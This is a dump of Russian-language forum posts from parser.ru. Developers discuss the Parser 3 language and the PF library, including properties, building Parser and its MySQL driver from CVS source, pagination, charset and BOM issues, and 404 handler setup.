"62244","какие посты с аналогичной проблеммой вы уже нашли и что предлагаемое в них вы уже сделали?"
"62245","Буду делать по 2-й схеме как и хотел."
"62246","Спасибо :) да прояснило"
"62247","Спасибо большое, заработало :)"
"62248","Начиная с версии 3.2 в Парсере появилась возможность определять [url=http://www.parser.ru/docs/lang/props.htm]свойства[/url] (properties). Кратко напомню: обращение к свойству выглядит в программе, как обычное обращение к переменным, но на самом деле происходит вызов промежуточных функций, которые могут содержать более сложную логику, чем простое чтение/запись переменной.\
\
Замечательно, но в чем реальная польза от свойств? Вот несколько примеров.\
\
Предположим, что у нас в БД есть таблица settings(name, value) в которой лежит некоторое количество переменных для нашей системы/сайта. \
[code]\
@CLASS\
simpleModule\
\
@create[]\
  ...\
\
@GET_siteName[]\
  $result[^CSQL.string{select value from settings where name='site_name'}]\
\
@SET_siteName[aSiteName]\
  ^if(def $aSiteName){\
    ^CSQL.void{replace settings (name, value) values ('site_name', '$aSiteName')}\
  }\
\
@run[]\
  Название сайта: $siteName\
[/code]\
\
Безусловно можно было сделать просто методы getSiteName и setSiteName (так наверняка бы сделали люди, программировавшие на Яве) и вызвать их в коде, но мне кажется, что семантически обращение к переменной в данном случае выглядит гораздо логичнее (хотя это дело вкуса). \
\
Есть более сложные случаи, когда использование свойств может сильно упростить задачу. Давайте представим, что мы с вами делаем сложное веб-приложение, модель которой, состоит из большого количества разнообразных методов. Пусть это будет билинговая система интернет-провайдера. Нам нужны модули, которые умеют работать с информацией о клиентах, лицевых счетах, тарифах и пр. Причем в веб-интерфейсе приходится получать данные из разных подсистем в разных комбинациях.\
\
Очевидно, что такую систему будет удобно разбить на классы - так мы и поступим. Но остется одна проблема: количество этих классов велико и мы не можем точно сказать какие из них нам понядобятся в веб-интерфейсе. Решение \"в лоб\": подключить все классы в одном мета-классе и создать объекты.\
[code]\
@CLASS\
billing\
\
@USE\
clients.p\
accounts.p\
tariffs.p\
...\
\
@create[]\
  $clients[^clients::create[]]\
  $accounts[^accounts::create[]]\
  $tariffs[^tariffs::create[]]\
  ...\
[/code]\
\
И использовать методы классов в основной программе:\
[code]\
@USE\
billing.p\
\
@main[]\
  $billing[^billing::create[]]\
  $clients[^billing.clients.all[]]\
[/code]\
\
Вроде все нормально, но мы, в данном случае, используем только модуль clients, но тем не менее компилируем все! Можно, конечно, отказаться от мета-класса, вставить в программу кучу if-ов и подключать только нужные модули. Правда такой подход резко усложнит программу и затруднит отладку. Теперь посмотрим как эту проблему помогут решить свойства.\
\
Перепишем класс billing следующим образом:\
[code]\
@CLASS\
billing\
\
@create[]\
  $_clients[]\
  $_accounts[]\
  $_tariffs[]\
  ...\
\
@GET_clients[]\
  ^if(!def $_clients){\
    ^use[clients.p]\
    $_clients[^clients::create[]]\
  }\
  $result[$_clients]\
\
@GET_accounts[]\
  ^if(!def $_accounts){\
    ^use[accounts.p]\
    $_accounts[^accounts::create[]]\
  }\
  $result[$_accounts]\
\
@GET_tariffs[]\
  ^if(!def $_tariffs){\
    ^use[tariffs.p]\
    $_tariffs[^tariffs::create[]]\
  }\
  $result[$_tariffs]\
\
...\
[/code]\
\
Теперь наш код будет компилировать модули только, если к нему реально идет обращение из программы. Теперь мы можем не заюотится о своевременной инициализации модулей! Кроме того в такой ситуации мы можем сделать модули вложенными не теряя функциональность и не используя промежуточные переменные. А это в Парсере можно сделать только с помошью свойств, поскольку писать цепочки вызовов методов (в Яве можно так: getBilling().getClients().all()) мы не можем.\
\
Такой подход используется в PFе и решениях на его основе достаточно интенсивно. В заключении хочу напомнить, что свойства еще и хороший способ сделать в классах поля \"только для чтения\". Настоятельно рекомендую делать свойства для всех переменных класса, к которым могут получать доступ другие классы - помогает при рефакторинге.\
\
[url=http://oleg.volchkov.net/pf]Библиотека PF[/url]"
"62249","Без копирования не получается реализовать...\
\
Подставляю данные:\
[code]$selected_table[^table::create[$img_portfolio;$.limit($scroller.number_per_section) $.offset($form:n)]][/code]\
\
где \
\
[code]\
$scroller[^scroller::create[\
	$.path_param[n]\
	$.request[]\
	$.table_count(^int:sql{select count(*) from img_portfolio ^if($form:cat){WHERE parent_id='$form:cat'}})\
	$.number_per_section(6)\
	$.section_per_page(5)\
	$.type[page]\
	$.r_selector[]\
	$.l_selector[]\
	$.divider[ | ]\
	$.r_divider[]\
	$.l_divider[]\
	]\
]\
[/code]\
\
При выводе 6 записей на страницу, пропадает 7-я.\
\
Может я неправильно подставляю данные $.limit и $.offset?"
"62250","чтобы заставить его работать, надо изучить внутренности и администрирование unix, mysql, sendmail и еще кучу \"очень полезных\" для веб-разработчика вещей...\
\
Итак, отвечаю. \
смотрю здесь http://www.parser.ru/faq/install/ на ошибку \"Premature...\" \
\
1. то, что закачка в binary, здесь не актуально - собиралось на сервере. к тому же без mysql успешно работает.\
2. права стоят 755. опять же это не при чем.\
3. файл по указанному пути /usr/lib/mysql/libmysqlclient.so имеется. Это же подтверждает тестовый файл _test.html\
\
Короче говоря, я так понимаю, проблема в этом драйвере.\
чем-то он не угодил парсеру? или он вообще неправильный?\
\
Здесь http://www.parser.ru/forum/?id=49916\
пишут, что требуется libmysqlclient.so.12 для MySQL 4.1.2\
\
у меня есть libmysqlclient.so, libmysqlclient.so.10, libmysqlclient.so.14\
Я их попробовал положить в папку cgi-bin/lib/ рядом с libparser3mysql.so (естественно, изменяя и в auto.p). Результаты те же.\
\
Итого, что делать?\
искать где-то libmysqlclient.so.12 для Fedora?\
самому сделать libmysqlclient.so.12? как это вообще делается?\
почему не подходит libmysqlclient.so и libmysqlclient.so.14? чем они плохи?\
И вообще в них ли проблема? Эта ошибка \"Premature end of script headers: parser3.cgi\" явно на это не указывает..."
"62251","Не знал что вы имели в виду это...\
Думаю эта возможность в оракле предназначена скорее для \"исключительных\" ситуаций, а не для \"постоянного\" использования, но как \"запасной\" вариант - можно и так, Спасибо."
"62252","добрался до победного финала.\
\
по ходу дела надо было сделать несколько нетривиальных вывода, не описанных ни в документации, ни в FAQ, ни в явном виде в форуме.\
\
1. Проблема была не в имеющихся на сервере файлах  типа libmysqlclient.so (а сколько я с ними промучался..), а все-таки в libparser3mysql.so, который поставляется с парсером.\
\
2. Оказывается, собирать можно (а в некоторых случаях и нужно) не только parser3.cgi, но и libparser3mysql.so. \
загружаем так:\
[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get sql/mysql[/code]\
потом собираем.\
3. собираем его, оказывается, не так просто, а с вывертом, любезно указанным PAFом на http://www.parser.ru/forum/?id=45317:\
[code]make LDFLAGS=-lstdc++[/code] (иначе в моем случае не работало)\
\
Предложение к разработчикам: все-таки сделать отдельное подробное описание сборки парсера и установки на сервер. Я предложил бы свою помощь, но, боюсь, плохо разбираюсь в деталях. \
Но того, что написано в документации и в FAQ явно недостаточно. Путь до конца, по-моему, могут пройти только очень упертые люди. Или так и рассчитано?"
"62253","Жаль, конечно, что я только сейчас увидел такую либу :)\
\
Многое сделал похоже, например, rewrite rule (практически такое же, отличие только в исправлении слеша на конце строки) ->\
request-dispatcher.parser (вместо _ind.html) -> загрузка и исполнение модуля для данного пространства -> передача результата шаблону -> вывод браузеру.\
\
assert очень похожий.. в общем, много знакомого :)\
\
Но уровень исполнения, тут, конечно, намного выше.\
\
Теперь в больших раздумьях - не стоит ли сменить свою поделку на pf...\
\
Еще очень интересны примеры тестов.\
\
P.S. Может стоит открыть где-то вики с описание проекта?"
"62256","Насколько целесообразным будет добавить третий аргумент в ^str.split[], для того, чтобы можно было задавать свое название колонке piece - или вообще получать одноколоночную nameless (несколькими строками).\
\
Иногда результаты работы метода передаются пользовательским методам, при написании которых было бы удобнее сразу понимать, что находится в таблице, а не то, в результате работы какого метода она получена.\
\
Что об этом думают PAF и Misha v.3?"
"62257","В части возможности задать собственное имя столбца, по аналогии с \
\
[code]^hash._keys[ColumnName][/code]\
\
также это неплохо бы в ^table.columns[<< имя столбца >>]\
\
насчет nameless - думаю лишнее, nameless таблицы, насколько вы наверно знаете, тута считаются deprecated :)"
"62258","Вот тута: http://www.parser.ru/docs/lang/tableload.htm\
\
Есть некорректный пример\
\
[b]Пример загрузки таблицы с HTTP-сервера[/b]\
[code]$table[^table::load[nameless;http://www.parser.ru/;\
    $.USER-AGENT[table load example]\
]]\
Количество строк: ^table.count[]\
<hr>\
<pre>$table.0</pre>[/code]\
\
Будучи в лоб скопированным он вызывает ошибку\
[quote]invalid option passed[/quote]\
\
Наверно имелось ввиду так?\
\
[code]$table[^table::load[nameless;http://www.parser.ru/;\
    [b]$.headers[[/b]\
    	$.USER-AGENT[table load example]\
    [b]][/b]\
]]\
Количество строк: ^table.count[]\
<hr>\
<pre>$table.0</pre>[/code]"
"62259","с вашего позволения я все-таки начну пособие по сборке парсера из исходных кодов.\
Надеюсь сэкономить этим множество времени тех, кто делает это в первый-второй раз.\
Не претендую на правильность описания и терминологии и прошу высказать замечания и дополнения.\
Прошу также ответить на вопросы в тексте.\
\
_________________________________\
[b]СБОРКА Parser из исходных кодов[/b]\
\
[url=\"http://www.parser.ru/docs/lang/compilesrc.htm\"]страница о сборке Parsera в документации [/url]\
\
Вам придется самим собирать Parser из файлов с исходным кодом в случае, если в разделе \"скачать\" не окажется готового parsera для вашей операционной системы (или скачанный parser не захочет работать на вашем сервере). Также вы можете пожелать собрать parser с особыми настройками (например, без запрета читать файлы, принадлежащие другим владельцам и др.).\
\
Итак, сборка по шагам:\
\
[b]0. подготовка[/b]\
Для сборки вам потребуется shell-доступ (и программа Putty или подобная). Кроме того, вы должны обладатать определенными правами на сервере [i](ВопросА: какими?)[/i]\
\
Внимание: Если до этого вы уже делали сборку, то прежде, чем начать новую, не забудьте выполнить команду make clean в папке с исходными файлами, чтобы удалить прежние настройки.\
\
[b]1. Закачка[/b]\
Скачайте к себе на сервер файлы с исходным кодом:\
Создайте для удобства папку, где будете собирать parser, например, parser_compile и загрузите файлы с cvs с помощью следующих команд:\
mkdir parser_compile\
cd parser_compile\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
\
При подключении к cvs-серверу вы получите запрос \"enter password\". Пароль пустой, т.е. вам нужно просто нажать Enter.\
\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3 \
cd parser3\
\
[b]2. Конфигурация сборки.[/b]\
\
Для конфигурации сборки выполните команду ./configure. В этом случае parser будет собран \"по-умолчанию\". Можно также указать специальные ключики:\
\
a) сборка с разрешением читать файлы, принадлежащие другому владельцу\
./configure ----disable-safe-mode\
 \
б) .... [i](ВопросБ: может кто-нибудь грамотно написать, какие еще возможны опции и зачем они нужны?[/i])\
\
Примечание: Для автоматизации сборки возможно также использование специальных скриптов.\
Вместе с исходными кодами поставляются скрипты buildall-with-xml и buildall-without-xml. Запустите тот или другой, чтобы собрать parser соответственно с поддержкой xml или без поддержки xml.\
\
[i](ВопросВ: если есть эти скрипты, то в каких случаях их не нужно использовать, а нужно запускать /configure и т.д.? кроме того, у меня лучше сработал скрипт от Sumo. МОжет, его включить в комплект?)[/i]\
\
Если все прошло удачно при запуске ./configure [i](ВопросГ: а как определить, что все прошло удачно?)[/i], то вы можете перейти к п.4 Сборка\
\
[b]3. Проблемы конфигурации[/b]\
Ниже перечислены варианты решений известных проблем при конфигурировании сборки:\
\
а...\
б...\
\
[i](ВопросД: прошу указать конкретные закавыки и конкретные пути решений)[/i]\
\
[b]4. Сборка[/b]\
Запустите сборку командами:\
make\
make install\
\
Если сборка пройдет удачно, в папке parser3install/bin/ вы найдете файл parser3, auto.p.dist\
\
[b]5. Проблемы при сборке.[/b]\
Ниже перечислены варианты решений известных проблем при сборке.\
\
а....\
б....\
\
[i](ВопросЕ: прошу указать конкретные закавыки и конкретные пути решений)[/i]\
\
[b]6. Размещение файлов.[/b]\
При сборке parser по умолчанию собирается с отладочной информацией (ВопросЖ: зачем по умолчанию отладочная информация?), поэтому размер файла получается в несколько раз больше. Чтобы его уменьшить, запустите команду:\
strip parser3\
\
Поместите файл parser3 в папку cgi-bin и для удобства переименуйте его в parser3.cgi\
В эту же папку поместите копию файла auto.p.dist под именем auto.p (оставьте неизменным auto.p.dist на будущее, чтобы восстановить при необходимости настройки по умолчанию)\
\
В эту же папку cgi-bin поместите папку с файлами кодировок charsets. (при сборке parsera эта папка создается в папке parser3install/etc)\
\
В эту же папку cgi-bin поместите папку lib с файлами драйверов для подключения к базам данных. Файлы драйверов вы можете скачать в разделе \"downloads\" либо собрать у себя на сервере, получив их с помощью команды (для mysql):\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get sql/mysql\
и затем собрав:\
./configure\
make\
make install\
\
В папке cgi-bin поменяйте права на файл parser3.cgi на 755 и поменяйте владельца этих файлов на владельца файлов вашего сайта.\
\
Для проверки работоспособности parsera скачайте тестовый пример из раздела \"скачать\", поместите в корень сайта файл _test.html и из этой папки запустите:\
[code]/папка/где/cgi-bin/parser3.cgi _test.html[/code]\
\
\
_____________________________________\
[i]Дополнения и замечания приветствуются[/i]"
"62260","Сейчас делаю небольшую CMS-ку для примера, а заодно и для выкладывания доки. Описания пока выклаыдваю в этот форум, потом перенесу."
"62261","[url=http://oleg.volchkov.net/download/pf_tests.zip]Тесты для PFа[/url].\
\
Запускаются из консоли. В архиве лежит конфигурационный файл auto.p, который я использую при работе с консольными скриптами. Для полного счастья надо положить в папку со скриптом pf_tests.p: parser3.cgi, папки с кодировками и библиотеками.\
\
Тестировалось только на FreeBSD/Linux, но думаю и под Windows работать будет нормально."
"62263","Сделал как написано в [url=\"http://www.parser.ru/forum/?id=62238\"]http://www.parser.ru/forum/?id=62238[/url]\
При обращении к корню веб возникает ошибка:\
[b]Unhandled Exception (parser.compile)[/b]\
[code]c:/www/pf.site/www/../app/controllers/appManager.p(8:8): no base class declared[/code]\
В файле appManager.p в 8-й строке запись:\
[code]  ^BASE:create[$aOptions][/code]\
Что надо сделать чтобы вместо ошибки увидеть надпись \"Наше первое веб-приложение на PF!\" ?"
"62264","добавление в appManager.p строк:\
[code]@BASE\
pfSiteManager[/code]\
приводит к следующему:\
[quote]siteManager\
class is undefined[/quote]"
"62265","Не совсем правильный код привел в примере. Но поскольку есть люди использующие метод copy/past, то привожу правильный:\
\
[code]@CLASS\
appManager\
\
@USE\
pf/web/pfSiteManager.p\
\
@BASE\
pfSiteManager\
\
@create[aOptions]\
  ^BASE:create[$aOptions]\
\
@onINDEX[aActionArgs]\
  Наше первое веб-приложение на PF!\
[/code]\
\
В файле /public_html/_ind.html напишем следующее:\
[code]\
@USE\
appManager.p\
\
@main[]\
  $app[^appManager::create[\
            $.templetOptions[\
              $.templateFolder[/../app/views/]\
            ]\
         ]]\
  $result[^app.run[]]\
[/code]"
"62267","Если SSH-доступа нет или не получается настроить Putty, есть альтернатива в лице http://www.rohitab.com/cgiscripts/cgitelnet.html\
\
Вы забыли упомянуть о такой немаловажной вещи, как доступное место. Для временных файлов потребуется не меньше 30 мегабайт. Узнать, сколько у вас есть, позволяет чудесная компанда \"quota\".\
\
Также важно знать версию компилятора, установленную у провайдера. Сделать это можно командой \"gcc -dumpversion\". Если в ответ получите \"3.4.2\" - хорошо. Четвёртой версией парсер не соберётся.\
\
Важно знать тип используемого у провайдера процессора. 64-х битная версия Парсера не собирается, на таких серверах можно запустить только 32-х битную версию в режиме совместимости. Тип процессора можно узнать командой \"cat /proc/cpuinfo\" (Линукс) или \"uname -a\" (FreeBSD и Линукс)."
"62268","Для регистрации модуля блога в конструкторе appManager пишем:\
[code]@create[aOptions]\
  ^BASE:create[$aOptions]\
\
^assignModule[blog;\
      $.class[blogModule]\
      $.file[blogModule.p]\
  ][/code]\
Хотя в pf/modules/pfModule.p в комментарии тоже записан метод \
[code]## Пример:\
## ^addModule[test;$.factory[$moduleFactory] $.args[test]][/code]\
Пожалуйста разъясните ситуацию!"
"62269","Взял пример с templet закомментировал строчки связанные с БД, а именно:\
[code]# Инициализируем класс с моделью блога\
#  $blogModel[^blog::create[$.sql[$CSQL]]\
...\
# Получаем записи о 3 последних статьях\
# Считаем, что метод возвращает нам таблицу date/title/body\
#  $lArticles[^blogModel.getArticles[3]][/code]\
обращаюсь к блогу http://pf.site/blog/ получаю ошибку:\
[quote]throw\
Файл \"/../views/blog/index.pt\" не найден.\
c:/www/pf.site/www/../classess/pf/tests/pfAssert.p(38:6)[/quote]\
В примере написано:\
[quote]тем более, что метод еще и понимает вложенность модулей т.е. он будет искать шаблон index.pt не в корнейво папке для шаблонов (в нашем случае /app/views/), а в /app/views/blog/.[/quote]\
В чём может быть проблема?"
"62270","... кусок коментария от параметра aOptions.factory. Я подобные, сложные методы инициализации в примере не описывал."
"62271","... файла _ind.html из http://www.parser.ru/forum/?id=62265 - я там внес правочку.\
\
p.s. Прошу прощения за опечатки в описаниях - я там код писал \"с чистого листа\", а в своих проектах я обычно копирую из предыдущих (просто у меня там код посложнее, поэтому я его и не привожу)."
"62272","Можете взять новый дистрибутив на старом месте.\
\
В принципе есть два метода инициализации модулей:\
\
1. Указать методу addModule имя класса ($.class) и имя файла с классом ($.file) или строку с кодом класса (например, загруженную из БД) ($.source), а также, если необходимо, параметры, передаваемые конструктору класса ($.args[]).\
\
2. Указать методу функцию (фабричный метод), которая возвращает класс с модулем ($.factory). Важно: не имя функции, а саму функцию! Это необходимо, если вам нужно инициализировать класс каким-либо нестандартным образом. \
\
Второй способ, кстати, в проектах мне так и не понадобился ни разу. (Поэтому там была ошибка, которую я сейчас поправил.)"
"62274","[quot]\
Четвёртой версией парсер не соберётся.\
[/quot]\
Собирается версия из CVS. Пробовал [url=\"http://www.parser.ru/forum/?id=61153\"]лично[/url]."
"62275","взял новый код, но ошибка осталась.\
Заглянул в pf/templet/pfTempletStorage.p\
изменил 25-ю строку\
[code]$_path[^if(def $aOptions.path && -d $aOptions.path){^aOptions.path.trim[end;/]}{/../app/views}][/code]\
Вроде работает!"
"62276","... особенно, если не понимаете суть проблемы. :)\
\
В коде, который я привел, ошибки нет."
"62279","... ровно такая же как и в Мишиных классах. Важное отличие: метод server называется transaction (вызывать его на прямую требуется крайне редко, поскольку функции выполняют неявный вызов коннекта автоматически). Описание параметров конструктора можно найти в классах."
"62280","... что библиотека расчитана на программистов, который достаточно хорошо знакомы с ООП. Простых примеров (с разжевыванием), скорее всего, будет крайне мало. Хотелось бы показать сложные техники использования, а не дублировать коментарии в модулях. :)"
"62282","Да и подробно кеширование не тестировалось - я делаю веб-приложения, где кеширование бессмысленно (каждый ответ имеет специфику). Поэтому его тестирование было исключительно синтетическим. Если потестите - буду благодарен."
"62285","Здравствуйте!\
Читаю доку parser_3_2.chm: \"Подобие mod_rewrite [3.1.4]\"\
\
\"Для веб-сервера IIS встроенного подобия Apache модулю mod_rewrite (см. также http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html) нет, есть только модули, разработанные сторонними компаниями. \
\
Однако можно назначить произвольную страницу handler.html в качестве обработчика 404 ошибки (рекомендуем ее же назначить обработчиком ошибок 403.14 и 405). \
\
Оригинальный запрос при этом будет доступен в $request:uri.\"\
\
Делаю следующее:\
.htaccess\
ErrorDocument 404 http://host/handler.html\
\
страничку handler.html:\
$request:uri\
\
в результате запроса \
http://host/not/found\
\
получаю страницу \
http://host/handler.html\
\
вида\
\"/handler.html\"\
\
получить оригинальный запрос \"/not/found\" не получилось, что не так?"
"62287","Попытка за пару часов разобраться, как все работает, привела в состояние небольшого ступора (отчасти, в таком же состоянии я был, когда пытался разобрать исходники Egoroff.spb) и к смешенному чувству внутренней озлобленности (что придеться все снова переделывать) и Вау-состоянию (что то, с чем я давно мучаюсь, уже есть готовое).\
\
Но не об этом речь. Вопросы:\
1. Отступы.\
[i]2.1 Стандартный отступ - два пробела.[/i]\
В чем причина? Почему не таб?\
\
[i]2.3 Одна строка - один оператор.[/i]\
Что-бы было удобнее читать?\
\
[i]2.4 Обязательно делать отступ внутри методов, т.е. код метода не должен быть \"прижат\" к левому краю.[/i]\
Кроме удобства чтения имеет какой-либо дополнительный смысл это огрничение?\
\
2. Классы, методы\
[i]5.2 Все классы, кроме статических должны быть наследниками pfClass.[/i]\
Если я попытаюсь доработать свои модули/кламмы для использувания библиотеки/ядра PF мне их все нужно делать наследниками pfClass.\
\
[i]5.3 Динамический конструктор класса всегда называется \"create\".[/i]\
Аналогично?\
\
3. Правильно ли я понимаю, что использовать PF частично (отдельные функции) достаточно сложно, т.е. придеться брать за основу движка ядро PF (либо переделывать некоторые модули PF)?"
"62288","[quote]Но не об этом речь. Вопросы:\
1. Отступы.\
2.1 Стандартный отступ - два пробела.\
В чем причина? Почему не таб?\
\
2.3 Одна строка - один оператор.\
Что-бы было удобнее читать?\
\
2.4 Обязательно делать отступ внутри методов, т.е. код метода не должен быть \"прижат\" к левому краю.\
Кроме удобства чтения имеет какой-либо дополнительный смысл это огрничение?\
\
2. Классы, методы\
5.2 Все классы, кроме статических должны быть наследниками pfClass.\
Если я попытаюсь доработать свои модули/кламмы для использувания библиотеки/ядра PF мне их все нужно делать наследниками pfClass.\
\
5.3 Динамический конструктор класса всегда называется \"create\".\
Аналогично?\
[/quote]\
Если Вы хотите поучаствовать в разработке самой библиотеки, то я бы попросил придерживаться именно таких правил. Они сугубо субъективные - это не более, чем мой стиль написания кода. Кроме того эти правила нужны чтобы библиотека представляла единообразный интерфейс.\
\
А вот как писать свою систему на базе PF абсолютно не важно - делайте так как удобно Вам.\
\
[quote]\
3. Правильно ли я понимаю, что использовать PF частично (отдельные функции) достаточно сложно, т.е. придеться брать за основу движка ядро PF (либо переделывать некоторые модули PF)?\
[/quote]\
Я специально старался уйти от модели монолитного фреймворка, а разбить библиотеку на мелкие классы из которых можно собрать произвольную систему.\
\
p.s. Я постараюсь постепенно выкладывать более крупные куски реального кода, чтобы прояснить основные концепции."
"62289","[quot]\
2. Классы, методы\
5.2 Все классы, кроме статических должны быть наследниками pfClass.\
Если я попытаюсь доработать свои модули/кламмы для использувания библиотеки/ядра PF мне их все нужно делать наследниками pfClass.\
[/quot]\
Как правило, наследоваться приходится от более высокоуровневых классов: pfModule, pfWebModule, pfAuthStorage и т.п. Наследование от базового класса, как правило, имеет смысл только в случае написаний классов для PF, а не для прикладной системы.\
\
[quot]5.3 Динамический конструктор класса всегда называется \"create\".\
Аналогично?\
[/quot]\
Это стиль парсера - не вижу причин ему не следовать."
"62290","Кто там сказал, что Парсер поддерживает УТФ-8. Пошамуто показывает [color=\"#ff0000\"] windows-1251 [/color] вместо [color=\"#ff0000\"] UTF-8[/color], а при замене в Браузере кодировки на УТФ неправильно отображается всё, кроме латиницы. В Через редактор (FP 2003) проверял - нормально. Может в *.cfg что-то, или?"
"62291","Я счас вам сваяю страницу на арабском, а в заголовках парсером буду выдавать информацию, что кодировка - ивритская. Вот браузер с ума сойдёт, а?\
\
\
А если серьёзно - Парсером вы можете выдавать текст в любой произвольной кодировке, включая UTF и Windows-1251, и выдавать произвольные заголовки \"Content-type\". Ищите противоречия в своём коде, если видите ошибочный результат. Парсер не виноват - искусственный интеллект в него не встроен."
"62292","Учту.\
Пока придеться текущию работу по доработке CMS-ки провести без PF, т.к. п хорошему, для PF придеться пересмотреть всю архитектуру и кое-от чего отказаться, т.к. бегло просмотрев код, понял, что многие вещи реализованы более гибко и универсально. Как текущие задачи будут более-менее решены будем переходить на PF (использовать его как ядро). Уже предвижу объем работы, который предстоит сделать...\
\
Для меня, конечно, удобно, когда есть некий Framework, как часть CMS-ки, разрабатываемый другим человеком (и, соответственно, тестируеммй), т.к. так больше перспектив для развития (не все делать самому). За это спасибо. За будущие примеры, заранее, спасибо, т.к. они лучше помогут понять что и как нужно будет переделывать и в каком направлении дальше двигаться."
"62293","почти нет проблем. За исключением работы со стрингами - приходится извращаться, но это мелочи."
"62294","Я правильно понимаю, что с нами тут в данный момент делятся подобием Ruby on rails со всякими MVC-радостями?\
\
Снимаю шляпу."
"62295","1. по моему выбор путей не соотв. тому, что указано в документации по сборке.\
\
2. мы рекомендуем пользоваться не стандартным путем (configure, make, make install), а запуском соотв. shell скрипта. дело в том, что для сборки парсера нужны дополнительные библиотеки (gc, libxml и libxslt), которые должны быть собраны + в configure нужно указывать пути к ним. скачивание этих библиотек с их сайтов, распаковка, сборка и указание путей к ним в configure уже сделано в скриптах сборки, поэтому дублировать процесс сборки в описании мне кажется лишним.\
\
в скриптах сборки есть закомментированные опции (disable safe mode в частности), поэтому в случае необходимости надо подправить скрипт (удалить комментарий у нужной опции) и запустить его.\
\
однако для работы скриптов сборки необходимо чтобы был wget и для него был открыт доступ наружу, чтобы скрипт имел возможность скачать дистрибутивы библиотек. если доступа нет, то эти дистрибутивы можно скачать вручную и положить в каталог ../src (относительно каталога со скриптами)\
\
я что-то пропустил, поэтому не подскажете, где я могу увидеть скрипт сборки от Sumo?\
\
\
3, 4, 5. я не сталкивался (ну... разве когда добавлял новый функционал) + я не крут в сборке под unix, поэтому систематизировать это не могу.\
\
6. собирается с отладочной информацией, т.к. избавиться от неё просто, а чтобы добавить в случае необходимости -- требуется пересборка.\
\
после сборки парсера для проверки работоспособности можно прогнать тесты:\
cd tests\
make tests"
"62296","Буковка M в зачаточном состоянии. Может кто поделится ORM-классами для Парсера?"
"62298","[code]^xdoc::create[$base_path]{<?xml version=\"$version\" encoding=\"$encoding\"?>\
<!DOCTYPE xsl:stylesheet SYSTEM \"symbols.ent\">\
<xsl:stylesheet version=\"1.0\">\
…\
</xsl:stylesheet>\
}\
[/code]\
\
откуда будет браться symbols.ent?"
"62299","... в них были добавлены (закомментированные) опции --disable-safe-mode и --with-dynamic-stdcpp. также в них по умолчанию происходит удаление распакованных исходников библиотек.\
\
head версию рекомендуется собирать именно этими скриптами, т.к. они собирают xml библиотеки с другими подключенными модулями (не такими как были при сборке 3.2.1). в библиотеки подключается меньше модулей чем раньше.\
\
теперь добавил и strip."
"62300","[quot]\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3\
[/quot]\
\
и я считаю это правильным, ведь если описывать сборку всех предыдущих релизов, то умрём на описании сборки версии с xml :)\
\
хотя комментарий о невозможности сборки 3.2.1 4 версией компилятора нужно сделать."
"62301","[quot]\
страница о сборке Parsera в документации\
[/quot]\
\
можно добавить ссылку на:\
[url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/INSTALL?rev=1.49&content-type=text/vnd.viewcvs-markup\"]INSTALL[/url]"
"62302","Увы, остальные много обошлись 1251...\
\
PS: Это значит, что остальные были русско-англо-франко-немецко-итало-всякими, где было можно обойтись и спецсимволами."
"62303","Не желают ли ПАФ и Миша прикрутить к парсеру.\
Кто за?"
"62304","... что вы можете спокойно присать им классы и патчи для этого. Наверняка не откажутся \"прикрутить\". :)"
"62307","Хорошо, что Парсер [i]BOM[/i] вырезает. Иначе геморроя не оберетесь."
"62308","В папке  Parser в файле auto.p\
просто по умолчанию была кодировка\
кириллицей windows-1251\
\
@auto[]\
\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
Извиняюссссссь ;) :)"
"62309","Вот, например, если решили кодировку сменить в с [i]utf-8[/i] на [i]windows-1251[/i] средствами xslt, а маркер-то не убить!\
\
Ловушка. \
Или иметь под рукой редактор умеющий вырезать [i]BOM[/i] и про обычный ноутпад забыть."
"62310","Положите в корень и успокойтесь."
"62311","$base_path это /../templates/, может, в этом дело?"
"62312","рекомендую второй способ тк об него не спотыкаются сторонние xslt обработчики."
"62313","А вообще, сделайте так:\
[code]\
$img_portfolio[^table::sql{\
	SELECT\
		text,\
		parent_id,\
		img_id\
	FROM\
		img_portfolio\
}[\
	$.limit($scroller.limit)\
	$.offset($scroller.offset)\
]]\
[/code]\
ибо вы достаёте уйму лишнего.\
И просто выводите выбранную таблицу целиком."
"62314","И оставьте [i]symbols.ent[/i] в корне."
"62315","Попробовала...на следующей странице показываются те же записи что и на первой.\
Видимо не подставляется значение $.offset :("
"62316","Проверьте те же три параметра на второй странице.\
Есть подозрение, что номер страницы не передался."
"62317","Внешний редирект, который меняет адрес запроса.\
Попробуйте написать так:\
\
.htaccess\
ErrorDocument 404 /handler.html"
"62324","Всё работает."
"62325","[code]open\
apr_sdbm_open(shared) error: Permission denied (13)[/code]\
\
В той строчке,  у меня вот такая вот весчь\
\
[code]$hashfile[^hashfile::open[/data/_double]][/code]\
\
На старом хостинге все работало нормально. На новом, вот такая беда. Пинать хостеров? или нет."
"62326","ErrorDocument	404	/handler.html\
\
при запросе \
http://host/not/found\
\
дает \
\"/not/found\"\
\
меня с толку сбило что мой вариант тоже отработал"
"62327","- какие сообщения по даной теме вы уже нашли поиском и что из найденного у себя проверили?\
- если ничего из найденного не помогло, то подробнее: версия ОС, версия парсера, описание того, что вы уже попробовали сделать, и, по возможности, файл в котором воспроизводится ошибка (точно указание ошибки: я не очень понял, у вас apr_sdbm_open(exclusive) или apr_sdbm_open(shared)?)"
"62328","На главной странице выводиться список новостей, все нормально, без проблем. вот код:\
\
[code]\
\
^connect[$connect_string]{\
$out[^table::sql{SELECT id, date, title, body FROM news ORDER BY id DESC LIMIT 8}]\
^out.menu{\
	<tr>\
		<td>^dtf:format[%e %h %Y;$out.date;$dtf:rr-locale] г.</td>\
		<td>$out.title <a href=\"?id=$out.id\">Подробнее...</a></td>\
	</tr>\
}\
}\
[/code]\
\
нужно чтобы при нажатии на ссылку (Подробнее...) откравалась новость на странице с другим дизайном, например /news/news.html. сейчас при нажатии на ссылку вообще ничего не происходит, понимаю что вывода ($out.body) то и нету, но куда что вставить не могу понять:((\
\
подскажите плиз что как даработать этот код и что вставить в /news/news.html"
"62331","понимаю, что тема уже избита, но хочу рассмотреть с вами все плюсы и минусы - Перезапись URL vs. Создание каталогов. в чем плюсы и минусы каждого подхода, на ваш взгляд?"
